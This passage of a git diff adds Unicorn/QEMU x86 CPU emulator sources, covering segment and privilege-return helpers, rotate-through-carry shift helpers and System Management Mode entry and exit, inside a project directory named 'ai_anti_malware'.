+ } else +#endif + { + sp_mask = get_sp_mask(env->segs[R_SS].flags); + } + sp = env->regs[R_ESP]; + ssp = env->segs[R_SS].base; + new_eflags = 0; /* avoid warning */ +#ifdef TARGET_X86_64 + if (shift == 2) { + POPQ(sp, new_eip); + POPQ(sp, new_cs); + new_cs &= 0xffff; + if (is_iret) { + POPQ(sp, new_eflags); + } + } else +#endif + { + if (shift == 1) { + /* 32 bits */ + POPL(ssp, sp, sp_mask, new_eip); + POPL(ssp, sp, sp_mask, new_cs); + new_cs &= 0xffff; + if (is_iret) { + POPL(ssp, sp, sp_mask, new_eflags); + if (new_eflags & VM_MASK) { + goto return_to_vm86; + } + } + } else { + /* 16 bits */ + POPW(ssp, sp, sp_mask, new_eip); + POPW(ssp, sp, sp_mask, new_cs); + if (is_iret) { + POPW(ssp, sp, sp_mask, new_eflags); + } + } + } + LOG_PCALL("lret new %04x:" TARGET_FMT_lx " s=%d addend=0x%x\n", + new_cs, new_eip, shift, addend); + LOG_PCALL_STATE(CPU(x86_env_get_cpu(env))); + if ((new_cs & 0xfffc) == 0) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + if (load_segment(env, &e1, &e2, new_cs) != 0) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + if (!(e2 & DESC_S_MASK) || + !(e2 & DESC_CS_MASK)) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + cpl = env->hflags & HF_CPL_MASK; + rpl = new_cs & 3; + if (rpl < cpl) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + if (e2 & DESC_C_MASK) { + if (dpl > rpl) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + } else { + if (dpl != rpl) { + raise_exception_err(env, EXCP0D_GPF, new_cs & 0xfffc); + } + } + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, new_cs & 0xfffc); + } + + sp += addend; + if (rpl == cpl && (!(env->hflags & HF_CS64_MASK) || + ((env->hflags & HF_CS64_MASK) && !is_iret))) { + /* return to same privilege level */ + cpu_x86_load_seg_cache(env, R_CS, new_cs, + get_seg_base(e1, e2), + get_seg_limit(e1, e2), + e2); + } else { + /* return to different privilege level */ +#ifdef TARGET_X86_64 + if (shift == 2) { + POPQ(sp, new_esp); + POPQ(sp, new_ss); + new_ss &= 0xffff; + } else +#endif + { + if (shift == 1) { + /* 32 bits */ + POPL(ssp, sp, sp_mask, new_esp); + POPL(ssp, sp, sp_mask, new_ss); + new_ss &= 0xffff; + } else { + /* 16 bits */ + POPW(ssp, sp, sp_mask, new_esp); + POPW(ssp, sp, sp_mask, new_ss); + } + } + LOG_PCALL("new ss:esp=%04x:" TARGET_FMT_lx "\n", + new_ss, new_esp); + if ((new_ss & 0xfffc) == 0) { +#ifdef TARGET_X86_64 + /* NULL ss is allowed in long mode if cpl != 3 */ + /* XXX: test CS64? */ + if ((env->hflags & HF_LMA_MASK) && rpl != 3) { + cpu_x86_load_seg_cache(env, R_SS, new_ss, + 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | (rpl << DESC_DPL_SHIFT) | + DESC_W_MASK | DESC_A_MASK); + ss_e2 = DESC_B_MASK; /* XXX: should not be needed? */ + } else +#endif + { + raise_exception_err(env, EXCP0D_GPF, 0); + } + } else { + if ((new_ss & 3) != rpl) { + raise_exception_err(env, EXCP0D_GPF, new_ss & 0xfffc); + } + if (load_segment(env, &ss_e1, &ss_e2, new_ss) != 0) { + raise_exception_err(env, EXCP0D_GPF, new_ss & 0xfffc); + } + if (!(ss_e2 & DESC_S_MASK) || + (ss_e2 & DESC_CS_MASK) || + !(ss_e2 & DESC_W_MASK)) { + raise_exception_err(env, EXCP0D_GPF, new_ss & 0xfffc); + } + dpl = (ss_e2 >> DESC_DPL_SHIFT) & 3; + if (dpl != rpl) { + raise_exception_err(env, EXCP0D_GPF, new_ss & 0xfffc); + } + if (!(ss_e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, new_ss & 0xfffc); + } + cpu_x86_load_seg_cache(env, R_SS, new_ss, + get_seg_base(ss_e1, ss_e2), + get_seg_limit(ss_e1, ss_e2), + ss_e2); + } + + cpu_x86_load_seg_cache(env, R_CS, new_cs, + get_seg_base(e1, e2), + get_seg_limit(e1, e2), + e2); + sp = new_esp; +#ifdef TARGET_X86_64 + if (env->hflags & HF_CS64_MASK) { + sp_mask = -1; + } else +#endif + { + sp_mask = get_sp_mask(ss_e2); + } + + /* validate data segments */ + validate_seg(env, R_ES, rpl); + validate_seg(env, R_DS, rpl); + validate_seg(env, R_FS, rpl); + validate_seg(env, R_GS, rpl); + + sp += addend; + } + SET_ESP(sp, sp_mask); + env->eip = new_eip; + if (is_iret) { + /* NOTE: 'cpl' is the _old_ CPL */ + eflags_mask = TF_MASK | AC_MASK | ID_MASK | RF_MASK | NT_MASK; + if (cpl == 0) { + eflags_mask |= IOPL_MASK; + } + iopl = (env->eflags >> IOPL_SHIFT) & 3; + if (cpl <= iopl) { + eflags_mask |= IF_MASK; + } + if (shift == 0) { + eflags_mask &= 0xffff; + } + cpu_load_eflags(env, new_eflags, eflags_mask); + } + return; + + return_to_vm86: + POPL(ssp, sp, sp_mask, new_esp); + POPL(ssp, sp, sp_mask, new_ss); + POPL(ssp, sp, sp_mask, new_es); + POPL(ssp, sp, sp_mask, new_ds); + POPL(ssp, sp, sp_mask, new_fs); + POPL(ssp, sp, sp_mask, new_gs); + + /* modify processor state */ + cpu_load_eflags(env, new_eflags, TF_MASK | AC_MASK | ID_MASK | + IF_MASK | IOPL_MASK | VM_MASK | NT_MASK | VIF_MASK | + VIP_MASK); + load_seg_vm(env, R_CS, new_cs & 0xffff); + load_seg_vm(env, R_SS, new_ss & 0xffff); + load_seg_vm(env, R_ES, new_es & 0xffff); + load_seg_vm(env, R_DS, new_ds & 0xffff); + load_seg_vm(env, R_FS, new_fs & 0xffff); + load_seg_vm(env, R_GS, new_gs & 0xffff); + + env->eip = new_eip & 0xffff; + env->regs[R_ESP] = new_esp; +} + +void helper_iret_protected(CPUX86State *env, int shift, int next_eip) +{ + int tss_selector, type; + uint32_t e1, e2; + + /* specific case for TSS */ + if (env->eflags & NT_MASK) { +#ifdef TARGET_X86_64 + if (env->hflags & HF_LMA_MASK) { + raise_exception_err(env, EXCP0D_GPF, 0); + } +#endif + tss_selector = cpu_lduw_kernel(env, env->tr.base + 0); + if (tss_selector & 4) { + raise_exception_err(env, EXCP0A_TSS, tss_selector & 0xfffc); + } + if (load_segment(env, &e1, &e2, tss_selector) != 0) { + raise_exception_err(env, EXCP0A_TSS, tss_selector & 0xfffc); + } + type = (e2 >> DESC_TYPE_SHIFT) & 0x17; + /* NOTE: we check both segment and busy TSS */ + if (type != 3) { + raise_exception_err(env, EXCP0A_TSS, tss_selector & 0xfffc); + } + switch_tss(env, tss_selector, e1, e2, SWITCH_TSS_IRET, next_eip); + } else { + helper_ret_protected(env, shift, 1, 0); + } + env->hflags2 &= ~HF2_NMI_MASK; +} + +void helper_lret_protected(CPUX86State *env, int shift, int addend) +{ + helper_ret_protected(env, shift, 0, addend); +} + +void helper_sysenter(CPUX86State *env, int next_eip_addend) +{ + // Unicorn: call registered SYSENTER hooks + struct hook *hook; + HOOK_FOREACH_VAR_DECLARE; + HOOK_FOREACH(env->uc, hook, UC_HOOK_INSN) { + if (hook->to_delete) + continue; + if (!HOOK_BOUND_CHECK(hook, env->eip)) + continue; + if (hook->insn == UC_X86_INS_SYSENTER) + ((uc_cb_insn_syscall_t)hook->callback)(env->uc, hook->user_data); + } + + env->eip += next_eip_addend; + return; + + if (env->sysenter_cs == 0) { + raise_exception_err(env, EXCP0D_GPF, 0); + } + env->eflags &= ~(VM_MASK | IF_MASK | RF_MASK); + +#ifdef TARGET_X86_64 + if (env->hflags & HF_LMA_MASK) { + cpu_x86_load_seg_cache(env, R_CS, env->sysenter_cs & 0xfffc, + 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | + DESC_CS_MASK | DESC_R_MASK | DESC_A_MASK | + DESC_L_MASK); + } else +#endif + { + cpu_x86_load_seg_cache(env, R_CS, env->sysenter_cs & 0xfffc, + 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | + DESC_CS_MASK | DESC_R_MASK | DESC_A_MASK); + } + cpu_x86_load_seg_cache(env, R_SS, (env->sysenter_cs + 8) & 0xfffc, + 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | + DESC_W_MASK | DESC_A_MASK); + env->regs[R_ESP] = env->sysenter_esp; + env->eip = env->sysenter_eip; +} + +void helper_sysexit(CPUX86State *env, int dflag) +{ + int cpl; + + cpl = env->hflags & HF_CPL_MASK; + if (env->sysenter_cs == 0 || cpl != 0) { + raise_exception_err(env, EXCP0D_GPF, 0); + } +#ifdef TARGET_X86_64 + if (dflag == 2) { + cpu_x86_load_seg_cache(env, R_CS, ((env->sysenter_cs + 32) & 0xfffc) | + 3, 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | (3 << DESC_DPL_SHIFT) | + DESC_CS_MASK | DESC_R_MASK | DESC_A_MASK | + DESC_L_MASK); + cpu_x86_load_seg_cache(env, R_SS, ((env->sysenter_cs + 40) & 0xfffc) | + 3, 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | (3 << DESC_DPL_SHIFT) | + DESC_W_MASK | DESC_A_MASK); + } else +#endif + { + cpu_x86_load_seg_cache(env, R_CS, ((env->sysenter_cs + 16) & 0xfffc) | + 3, 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | (3 << DESC_DPL_SHIFT) | + DESC_CS_MASK | DESC_R_MASK | DESC_A_MASK); + cpu_x86_load_seg_cache(env, R_SS, ((env->sysenter_cs + 24) & 0xfffc) | + 3, 0, 0xffffffff, + DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | + DESC_S_MASK | (3 << DESC_DPL_SHIFT) | + DESC_W_MASK | DESC_A_MASK); + } + env->regs[R_ESP] = env->regs[R_ECX]; + env->eip = env->regs[R_EDX]; +} + +target_ulong helper_lsl(CPUX86State *env, target_ulong selector1) +{ + unsigned int limit; + uint32_t e1, e2, eflags, selector; + int rpl, dpl, cpl, type; + + selector = selector1 & 0xffff; + eflags = cpu_cc_compute_all(env, CC_OP); + if ((selector & 0xfffc) == 0) { + goto fail; + } + if (load_segment(env, &e1, &e2, selector) != 0) { + goto fail; + } + rpl = selector & 3; + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + cpl = env->hflags & HF_CPL_MASK; + if (e2 & DESC_S_MASK) { + if ((e2 & DESC_CS_MASK) && (e2 & DESC_C_MASK)) { + /* conforming */ + } else { + if (dpl < cpl || dpl < rpl) { + goto fail; + } + } + } else { + type = (e2 >> DESC_TYPE_SHIFT) & 0xf; + switch (type) { + case 1: + case 2: + case 3: + case 9: + case 11: + break; + default: + goto fail; + } + if (dpl < cpl || dpl < rpl) { + fail: + CC_SRC = eflags & ~CC_Z; + return 0; + } + } + limit = get_seg_limit(e1, e2); + CC_SRC = eflags | CC_Z; + return limit; +} + +target_ulong helper_lar(CPUX86State *env, target_ulong selector1) +{ + uint32_t e1, e2, eflags, selector; + int rpl, dpl, cpl, type; + + selector = selector1 & 0xffff; + eflags = cpu_cc_compute_all(env, CC_OP); + if ((selector & 0xfffc) == 0) { + goto fail; + } + if (load_segment(env, &e1, &e2, selector) != 0) { + goto fail; + } + rpl = selector & 3; + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + cpl = env->hflags & HF_CPL_MASK; + if (e2 & DESC_S_MASK) { + if ((e2 & DESC_CS_MASK) && (e2 & DESC_C_MASK)) { + /* conforming */ + } else { + if (dpl < cpl || dpl < rpl) { + goto fail; + } + } + } else { + type = (e2 >> DESC_TYPE_SHIFT) & 0xf; + switch (type) { + case 1: + case 2: + case 3: + case 4: + case 5: + case 9: + case 11: + case 12: + break; + default: + goto fail; + } + if (dpl < cpl || dpl < rpl) { + fail: + CC_SRC = eflags & ~CC_Z; + return 0; + } + } + CC_SRC = eflags | CC_Z; + return e2 & 0x00f0ff00; +} + +void helper_verr(CPUX86State *env, target_ulong selector1) +{ + uint32_t e1, e2, eflags, selector; + int rpl, dpl, cpl; + + selector = selector1 & 0xffff; + eflags = cpu_cc_compute_all(env, CC_OP); + if ((selector & 0xfffc) == 0) { + goto fail; + } + if (load_segment(env, &e1, &e2, selector) != 0) { + goto fail; + } + if (!(e2 & DESC_S_MASK)) { + goto fail; + } + rpl = selector & 3; + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + cpl = env->hflags & HF_CPL_MASK; + if (e2 & DESC_CS_MASK) { + if (!(e2 & DESC_R_MASK)) { + goto fail; + } + if (!(e2 & DESC_C_MASK)) { + if (dpl < cpl || dpl < rpl) { + goto fail; + } + } + } else { + if (dpl < cpl || dpl < rpl) { + fail: + CC_SRC = eflags & ~CC_Z; + return; + } + } + CC_SRC = eflags | CC_Z; +} + +void helper_verw(CPUX86State *env, target_ulong selector1) +{ + uint32_t e1, e2, eflags, selector; + int rpl, dpl, cpl; + + selector = selector1 & 0xffff; + eflags = cpu_cc_compute_all(env, CC_OP); + if ((selector & 0xfffc) == 0) { + goto fail; + } + if (load_segment(env, &e1, &e2, selector) != 0) { + goto fail; + } + if (!(e2 & DESC_S_MASK)) { + goto fail; + } + rpl = selector & 3; + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + cpl = env->hflags & HF_CPL_MASK; + if (e2 & DESC_CS_MASK) { + goto fail; + } else { + if (dpl < cpl || dpl < rpl) { + goto fail; + } + if (!(e2 & DESC_W_MASK)) { + fail: + CC_SRC = eflags & ~CC_Z; + return; + } + } + CC_SRC = eflags | CC_Z; +} + +void cpu_x86_load_seg(CPUX86State *env, int seg_reg, int selector) +{ + if (!(env->cr[0] & CR0_PE_MASK) || (env->eflags & VM_MASK)) { + int dpl = (env->eflags & VM_MASK) ? 3 : 0; + selector &= 0xffff; + cpu_x86_load_seg_cache(env, seg_reg, selector, + (selector << 4), 0xffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK | (dpl << DESC_DPL_SHIFT)); + } else { + helper_load_seg(env, seg_reg, selector); + } +} + +/* check if Port I/O is allowed in TSS */ +static inline void check_io(CPUX86State *env, int addr, int size) +{ + int io_offset, val, mask; + + /* TSS must be a valid 32 bit one */ + if (!(env->tr.flags & DESC_P_MASK) || + ((env->tr.flags >> DESC_TYPE_SHIFT) & 0xf) != 9 || + env->tr.limit < 103) { + goto fail; + } + io_offset = cpu_lduw_kernel(env, env->tr.base + 0x66); + io_offset += (addr >> 3); + /* Note: the check needs two bytes */ + if ((io_offset + 1) > env->tr.limit) { + goto fail; + } + val = cpu_lduw_kernel(env, env->tr.base + io_offset); + val >>= (addr & 7); + mask = (1 << size) - 1; + /* all bits must be zero to allow the I/O */ + if ((val & mask) != 0) { + fail: + raise_exception_err(env, EXCP0D_GPF, 0); + } +} + +void helper_check_iob(CPUX86State *env, uint32_t t0) +{ + check_io(env, t0, 1); +} + +void helper_check_iow(CPUX86State *env, uint32_t t0) +{ + check_io(env, t0, 2); +} + +void helper_check_iol(CPUX86State *env, uint32_t t0) +{ + check_io(env, t0, 4); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/shift_helper_template.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/shift_helper_template.h new file mode 100644 index 0000000..9e646d7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/shift_helper_template.h @@ -0,0 +1,108 @@ +/* + * x86 shift helpers + * + * Copyright (c) 2008 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#define DATA_BITS (1 << (3 + SHIFT)) +#define SHIFT_MASK (DATA_BITS - 1) +#if DATA_BITS <= 32 +#define SHIFT1_MASK 0x1f +#else +#define SHIFT1_MASK 0x3f +#endif + +#if DATA_BITS == 8 +#define SUFFIX b +#define DATA_MASK 0xff +#elif DATA_BITS == 16 +#define SUFFIX w +#define DATA_MASK 0xffff +#elif DATA_BITS == 32 +#define SUFFIX l +#define DATA_MASK 0xffffffff +#elif DATA_BITS == 64 +#define SUFFIX q +#define DATA_MASK 0xffffffffffffffffULL +#else +#error unhandled operand size +#endif + +target_ulong glue(helper_rcl, SUFFIX)(CPUX86State *env, target_ulong t0, + target_ulong t1) +{ + int count, eflags; + target_ulong src; + target_long res; + + count = t1 & SHIFT1_MASK; +#if DATA_BITS == 16 + count = rclw_table[count]; +#elif DATA_BITS == 8 + count = rclb_table[count]; +#endif + if (count) { + eflags = (int)env->cc_src; + t0 &= DATA_MASK; + src = t0; + res = (t0 << count) | ((target_ulong)(eflags & CC_C) << (count - 1)); + if (count > 1) { + res |= t0 >> (DATA_BITS + 1 - count); + } + t0 = res; + env->cc_src = (eflags & ~(CC_C | CC_O)) | + (lshift(src ^ t0, 11 - (DATA_BITS - 1)) & CC_O) | + ((src >> (DATA_BITS - count)) & CC_C); + } + return t0; +} + +target_ulong glue(helper_rcr, SUFFIX)(CPUX86State *env, target_ulong t0, + target_ulong t1) +{ + int count, eflags; + target_ulong src; + target_long res; + + count = t1 & SHIFT1_MASK; +#if DATA_BITS == 16 + count = rclw_table[count]; +#elif DATA_BITS == 8 + count = rclb_table[count]; +#endif + if (count) { + eflags = (int)env->cc_src; + t0 &= DATA_MASK; + src = t0; + res = (t0 >> count) | + ((target_ulong)(eflags & CC_C) << (DATA_BITS - count)); + if (count > 1) { + res |= t0 << (DATA_BITS + 1 - count); + } + t0 = res; + env->cc_src = (eflags & ~(CC_C | CC_O)) | + (lshift(src ^ t0, 11 - (DATA_BITS - 1)) & CC_O) | + ((src >> (count - 1)) & CC_C); + } + return t0; +} + +#undef DATA_BITS +#undef SHIFT_MASK +#undef SHIFT1_MASK +#undef DATA_TYPE +#undef DATA_MASK +#undef SUFFIX diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/smm_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/smm_helper.c new file mode 100644 index 0000000..7875ff0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/smm_helper.c @@ -0,0 +1,317 @@ +/* + * x86 SMM helpers + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" + +/* SMM support */ + +#if defined(CONFIG_USER_ONLY) + +void do_smm_enter(X86CPU *cpu) +{ +} + +void helper_rsm(CPUX86State *env) +{ +} + +#else + +#ifdef TARGET_X86_64 +#define SMM_REVISION_ID 0x00020064 +#else +#define SMM_REVISION_ID 0x00020000 +#endif + +void do_smm_enter(X86CPU *cpu) +{ + CPUX86State *env = &cpu->env; + CPUState *cs = CPU(cpu); + target_ulong sm_state; + SegmentCache *dt; + int i, offset; + + qemu_log_mask(CPU_LOG_INT, "SMM: enter\n"); + log_cpu_state_mask(CPU_LOG_INT, CPU(cpu), CPU_DUMP_CCOP); + + env->hflags |= HF_SMM_MASK; + cpu_smm_update(env); + + sm_state = env->smbase + 0x8000; + +#ifdef TARGET_X86_64 + for (i = 0; i < 6; i++) { + dt = &env->segs[i]; + offset = 0x7e00 + i * 16; + stw_phys(cs->as, sm_state + offset, dt->selector); + stw_phys(cs->as, sm_state + offset + 2, (dt->flags >> 8) & 0xf0ff); + stl_phys(cs->as, sm_state + offset + 4, dt->limit); + stq_phys(cs->as, sm_state + offset + 8, dt->base); + } + + stq_phys(cs->as, sm_state + 0x7e68, env->gdt.base); + stl_phys(cs->as, sm_state + 0x7e64, env->gdt.limit); + + stw_phys(cs->as, sm_state + 0x7e70, env->ldt.selector); + stq_phys(cs->as, sm_state + 0x7e78, env->ldt.base); + stl_phys(cs->as, sm_state + 0x7e74, env->ldt.limit); + stw_phys(cs->as, sm_state + 0x7e72, (env->ldt.flags >> 8) & 0xf0ff); + + stq_phys(cs->as, sm_state + 0x7e88, env->idt.base); + stl_phys(cs->as, sm_state + 0x7e84, env->idt.limit); + + stw_phys(cs->as, sm_state + 0x7e90, env->tr.selector); + stq_phys(cs->as, sm_state + 0x7e98, env->tr.base); + stl_phys(cs->as, sm_state + 0x7e94, env->tr.limit); + stw_phys(cs->as, sm_state + 0x7e92, (env->tr.flags >> 8) & 0xf0ff); + + stq_phys(cs->as, sm_state + 0x7ed0, env->efer); + + stq_phys(cs->as, sm_state + 0x7ff8, env->regs[R_EAX]); + stq_phys(cs->as, sm_state + 0x7ff0, env->regs[R_ECX]); + stq_phys(cs->as, sm_state + 0x7fe8, env->regs[R_EDX]); + stq_phys(cs->as, sm_state + 0x7fe0, env->regs[R_EBX]); + stq_phys(cs->as, sm_state + 0x7fd8, env->regs[R_ESP]); + stq_phys(cs->as, sm_state + 0x7fd0, env->regs[R_EBP]); + stq_phys(cs->as, sm_state + 0x7fc8, env->regs[R_ESI]); + stq_phys(cs->as, sm_state + 0x7fc0, env->regs[R_EDI]); + for (i = 8; i < 16; i++) { + stq_phys(cs->as, sm_state + 0x7ff8 - i * 8, env->regs[i]); + } + stq_phys(cs->as, sm_state + 0x7f78, env->eip); + stl_phys(cs->as, sm_state + 0x7f70, cpu_compute_eflags(env)); + stl_phys(cs->as, sm_state + 0x7f68, (uint32_t)env->dr[6]); + stl_phys(cs->as, sm_state + 0x7f60, (uint32_t)env->dr[7]); + + stl_phys(cs->as, sm_state + 0x7f48, (uint32_t)env->cr[4]); + stl_phys(cs->as, sm_state + 0x7f50, (uint32_t)env->cr[3]); + stl_phys(cs->as, sm_state + 0x7f58, (uint32_t)env->cr[0]); + + stl_phys(cs->as, sm_state + 0x7efc, SMM_REVISION_ID); + stl_phys(cs->as, sm_state + 0x7f00, env->smbase); +#else + stl_phys(cs->as, sm_state + 0x7ffc, env->cr[0]); + stl_phys(cs->as, sm_state + 0x7ff8, env->cr[3]); + stl_phys(cs->as, sm_state + 0x7ff4, cpu_compute_eflags(env)); + stl_phys(cs->as, sm_state + 0x7ff0, env->eip); + stl_phys(cs->as, sm_state + 0x7fec, env->regs[R_EDI]); + stl_phys(cs->as, sm_state + 0x7fe8, env->regs[R_ESI]); + stl_phys(cs->as, sm_state + 0x7fe4, env->regs[R_EBP]); + stl_phys(cs->as, sm_state + 0x7fe0, env->regs[R_ESP]); + stl_phys(cs->as, sm_state + 0x7fdc, env->regs[R_EBX]); + stl_phys(cs->as, sm_state + 0x7fd8, env->regs[R_EDX]); + stl_phys(cs->as, sm_state + 0x7fd4, env->regs[R_ECX]); + stl_phys(cs->as, sm_state + 0x7fd0, env->regs[R_EAX]); + stl_phys(cs->as, sm_state + 0x7fcc, env->dr[6]); + stl_phys(cs->as, sm_state + 0x7fc8, env->dr[7]); + + stl_phys(cs->as, sm_state + 0x7fc4, env->tr.selector); + stl_phys(cs->as, sm_state + 0x7f64, env->tr.base); + stl_phys(cs->as, sm_state + 0x7f60, env->tr.limit); + stl_phys(cs->as, sm_state + 0x7f5c, (env->tr.flags >> 8) & 0xf0ff); + + stl_phys(cs->as, sm_state + 0x7fc0, env->ldt.selector); + stl_phys(cs->as, sm_state + 0x7f80, env->ldt.base); + stl_phys(cs->as, sm_state + 0x7f7c, env->ldt.limit); + stl_phys(cs->as, sm_state + 0x7f78, (env->ldt.flags >> 8) & 0xf0ff); + + stl_phys(cs->as, sm_state + 0x7f74, env->gdt.base); + stl_phys(cs->as, sm_state + 0x7f70, env->gdt.limit); + + stl_phys(cs->as, sm_state + 0x7f58, env->idt.base); + stl_phys(cs->as, sm_state + 0x7f54, env->idt.limit); + + for (i = 0; i < 6; i++) { + dt = &env->segs[i]; + if (i < 3) { + offset = 0x7f84 + i * 12; + } else { + offset = 0x7f2c + (i - 3) * 12; + } + stl_phys(cs->as, sm_state + 0x7fa8 + i * 4, dt->selector); + stl_phys(cs->as, sm_state + offset + 8, dt->base); + stl_phys(cs->as, sm_state + offset + 4, dt->limit); + stl_phys(cs->as, sm_state + offset, (dt->flags >> 8) & 0xf0ff); + } + stl_phys(cs->as, sm_state + 0x7f14, env->cr[4]); + + stl_phys(cs->as, sm_state + 0x7efc, SMM_REVISION_ID); + stl_phys(cs->as, sm_state + 0x7ef8, env->smbase); +#endif + /* init SMM cpu state */ + +#ifdef TARGET_X86_64 + cpu_load_efer(env, 0); +#endif + cpu_load_eflags(env, 0, ~(CC_O | CC_S | CC_Z | CC_A | CC_P | CC_C | + DF_MASK)); + env->eip = 0x00008000; + cpu_x86_update_cr0(env, + env->cr[0] & ~(CR0_PE_MASK | CR0_EM_MASK | CR0_TS_MASK | + CR0_PG_MASK)); + cpu_x86_update_cr4(env, 0); + env->dr[7] = 0x00000400; + + cpu_x86_load_seg_cache(env, R_CS, (env->smbase >> 4) & 0xffff, env->smbase, + 0xffffffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK); + cpu_x86_load_seg_cache(env, R_DS, 0, 0, 0xffffffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK); + cpu_x86_load_seg_cache(env, R_ES, 0, 0, 0xffffffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK); + cpu_x86_load_seg_cache(env, R_SS, 0, 0, 0xffffffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK); + cpu_x86_load_seg_cache(env, R_FS, 0, 0, 0xffffffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK); + cpu_x86_load_seg_cache(env, R_GS, 0, 0, 0xffffffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK); +} + +void helper_rsm(CPUX86State *env) +{ + X86CPU *cpu = x86_env_get_cpu(env); + CPUState *cs = CPU(cpu); + target_ulong sm_state; + int i, offset; + uint32_t val; + + sm_state = env->smbase + 0x8000; +#ifdef TARGET_X86_64 + cpu_load_efer(env, ldq_phys(cs->as, sm_state + 0x7ed0)); + + env->gdt.base = ldq_phys(cs->as, sm_state + 0x7e68); + env->gdt.limit = ldl_phys(cs->as, sm_state + 0x7e64); + + env->ldt.selector = lduw_phys(cs->as, sm_state + 0x7e70); + env->ldt.base = ldq_phys(cs->as, sm_state + 0x7e78); + env->ldt.limit = ldl_phys(cs->as, sm_state + 0x7e74); + env->ldt.flags = (lduw_phys(cs->as, sm_state + 0x7e72) & 0xf0ff) << 8; + + env->idt.base = ldq_phys(cs->as, sm_state + 0x7e88); + env->idt.limit = ldl_phys(cs->as, sm_state + 0x7e84); + + env->tr.selector = lduw_phys(cs->as, sm_state + 0x7e90); + env->tr.base = ldq_phys(cs->as, sm_state + 0x7e98); + env->tr.limit = ldl_phys(cs->as, sm_state + 0x7e94); + env->tr.flags = (lduw_phys(cs->as, sm_state + 0x7e92) & 0xf0ff) << 8; + + env->regs[R_EAX] = ldq_phys(cs->as, sm_state + 0x7ff8); + env->regs[R_ECX] = ldq_phys(cs->as, sm_state + 0x7ff0); + env->regs[R_EDX] = ldq_phys(cs->as, sm_state + 0x7fe8); + env->regs[R_EBX] = ldq_phys(cs->as, sm_state + 0x7fe0); + env->regs[R_ESP] = ldq_phys(cs->as, sm_state + 0x7fd8); + env->regs[R_EBP] = ldq_phys(cs->as, sm_state + 0x7fd0); + env->regs[R_ESI] = ldq_phys(cs->as, sm_state + 0x7fc8); + env->regs[R_EDI] = ldq_phys(cs->as, sm_state + 0x7fc0); + for (i = 8; i < 16; i++) { + env->regs[i] = ldq_phys(cs->as, sm_state + 0x7ff8 - i * 8); + } + env->eip = ldq_phys(cs->as, sm_state + 0x7f78); + cpu_load_eflags(env, ldl_phys(cs->as, sm_state + 0x7f70), + ~(CC_O | CC_S | CC_Z | CC_A | CC_P | CC_C | DF_MASK)); + env->dr[6] = ldl_phys(cs->as, sm_state + 0x7f68); + env->dr[7] = ldl_phys(cs->as, sm_state + 0x7f60); + + cpu_x86_update_cr4(env, ldl_phys(cs->as, sm_state + 0x7f48)); + cpu_x86_update_cr3(env, ldl_phys(cs->as, sm_state + 0x7f50)); + cpu_x86_update_cr0(env, ldl_phys(cs->as, sm_state + 0x7f58)); + + for (i = 0; i < 6; i++) { + offset = 0x7e00 + i * 16; + cpu_x86_load_seg_cache(env, i, + lduw_phys(cs->as, sm_state + offset), + ldq_phys(cs->as, sm_state + offset + 8), + ldl_phys(cs->as, sm_state + offset + 4), + (lduw_phys(cs->as, sm_state + offset + 2) & + 0xf0ff) << 8); + } + + val = ldl_phys(cs->as, sm_state + 0x7efc); /* revision ID */ + if 